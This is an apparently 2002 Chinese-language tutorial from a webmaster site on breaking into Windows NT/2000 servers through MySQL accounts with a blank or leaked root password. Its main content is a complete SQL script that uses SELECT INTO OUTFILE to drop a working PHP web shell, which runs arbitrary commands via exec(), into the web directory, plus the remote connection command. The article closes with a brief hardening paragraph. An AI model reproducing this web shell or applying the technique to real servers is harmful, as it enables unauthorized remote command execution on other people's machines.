网络编程 | 站长之家 | 网页制作 | 图形图象 | 操作系统 | 冲浪宝典 | 软件教学 | 网络办公 | 邮件系统 | 网络安全 | 认证考试 | 系统进程
Firefox | IE | Maxthon | 迅雷 | 电驴 | BitComet | FlashGet | QQ | QQ空间 | Vista | 输入法 | Ghost | Word | Excel | wps | Powerpoint
asp | .net | php | jsp | Sql | c# | Ajax | xml | Dreamweaver | FrontPages | Javascript | css | photoshop | fireworks | Flash | Cad | Discuz!
当前位置 > 网站建设学院 > 网络编程 > 数据库 > MySQL教程
Tag:注入,存储过程,分页,安全,优化,xmlhttp,fso,jmail,application,session,防盗链,stream,无组件,组件,md5,乱码,缓存,加密,验证码,算法,cookies,ubb,正则表达式,水印,索引,日志,压缩,base64,url重写,上传,控件,Web.config,JDBC,函数,内存,PDF,迁移,结构,破解,编译,配置,进程,分词,IIS,Apache,Tomcat,phpmyadmin,Gzip,触发器,socket
数据库:数据库教程,数据库技巧,Oracle教程,MySQL教程,Sybase教程,Access教程,DB2教程,数据库安全,数据库文摘
本月文章推荐
.MySQL 5.0新特性教程 存储过程:第.
.在MySQL数据库增加新用户权限简介.
.Mysql5写中文乱码问题解决.
.如何锁定MYSQL数据表.
.MySQL是否值得我们选择的正反五个.
.ACCESS数据库向MySQL快速迁移小程.
.如何在Unix系统环境下安装MySQL数.
.MySQL服务器内部安全数据目录访问.
.mysql4,mysql4.1,mysql 5共存.
.Linux自动备份MySQL数据库的实用.
.MySQL怎样优化WHERE子句.
.MySQL账户相关.
.NuSphere 让 MySQL 功能更强.
.MySQL根用户root密码忘记后的处理.
.由浅入深讲解MySQL数据库索引的选.
.MySQL事件调度器Event Scheduler.
.MySQL实现表中取出随机数据.
.MySQL数据库的漏洞相当于其它数据.
.个人经验总结:MySQL数据库优化技.
.如何将Access和Excel导入到Mysql.

通过mysql入侵NT和win2000

发表日期:2002-1-22


许多NT和win2000机器上面装有mysql和php。而mysql默认数据库root账号为空,这就给入侵者一个途径来入侵该机器。如果修改了数据库root的账号密码,而IIS的一些其他漏洞导致源代码泄漏也可能看到数据库的账号和密码。假设我们已经拿到了数据库的密码,看看我们如何通过mysql数据库来获得该机器的一定权限。
首先通常情况下,一般mysql和php配合使用,大多数NT和win2000的机器上如果使用php一般都会使用mysql。而默认情况下windows上的mysql是允许远程连接的。而装在linux等上的mysql是不允许远程连接的。入侵的思路是写一个shell脚本到web目录。就可以通过这个shell教本来执行命令了。而一般情况下,windows的web服务器是IIS,默认也是支持asp脚本的。网上也随处可见asp的sehll脚本,只要将这个asp的脚本传到web目录就好了。但是我觉得那些脚本都比较麻烦。而如果目标机器上面有php的话就可以用php脚本了。在这里我用php脚本来写shell。首先我们要用mysql的客户端连结到该机器,并执行我们的sql语句来在web目录生成php的shell脚本。
C:\mysql\bin>mysql -h xxx.xxx.xxx.xxx -uroot <php.sql

C:\mysql\bin>

下面是php.sql的内容:
use test;
create table tmp(cmd TEXT);
insert into tmp values('<body onload=document.form1.cmd.focus()><?if (isset($cmd)){$cmd=stripslashes($cmd);exec(\"$cmd > temp.dat\");}?><style type=\"text/css\"><!\-\- .form1 {BACKGROUND: #FFFFFF; BORDER-BOTTOM: #666666 1px solid; BORDER-LEFT: #666666 1px solid; BORDER-RIGHT: #666666 1px solid; BORDER-TOP: #666666 1px solid; COLOR: #3c464f; FONT-SIZE: 9pt; clip: rect( ); cursor: text; height: auto; width: auto; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px\-\-></style><p class=\"title2\"> </p><form name=\"form1\" method=\\"post\" action=\"/cmd2.php\"> <input type=\"text\" name=\"cmd\" size=\"50\" class=\"form1\"></form><form name=\"form2\" method=\"post\" action=\"\"> <p> <textarea name=\"text\" cols=\"120\" rows=\"50\" class=\"form1\"><?if(isset($cmd)){readfile(\"temp.dat\");unlink(\"temp.dat\");}?></textarea> </p></form></body>');
select * from tmp into outfile 'd:\\new\\cmd2.php';
drop table tmp;

上面的sql语句是创建一个名字为tmp的table,将脚本输入到数据库,然后再将这个脚本保存成d:\new\cmd2.php。然后删除tmp这个我们创建的table。这里的d:\new的目录是该机器的web目录。然后我们就可以在浏览器中输http://xxx.xxx.xxx.xxx/cmd2.php,就可以利用这个shell执行命令了。至此我们已经获得了该网站的一个guest权限的shell了。我们可以通过这个shell脚本写个ftp脚本来上传文件,也可以利用这个shell来进行其他guest权限能够执行的一些东东了。这里需要注意的是如果cmd2.php已经存在了这个sql脚本是不能运行成功的。这个php脚本不能写成功。
关键的问题在于获得数据库的密码并且能够找到web目录。然后一切都不成问题了。
安全建议:设置mysql数据库的密码,并且要有一定的强度。设置好IIS避免泄漏源代码,不要直接在web目录编辑脚本等文件,因为有些编辑器会自动产生一个备份文件,一般为.bak的扩展名,这样恶意攻击者就可能直接打开这个.bak文件从而泄漏源代码,比如global.asa.bak。

上一篇:怎样使MySQL安全以对抗解密高手 人气:14549
下一篇:使用MySql ODBC进行MYsql和MS sql7的数据转换 人气:13245
浏览全部MySQL的内容 Dreamweaver插件下载 网页广告代码 祝你圣诞节快乐 2009年新年快乐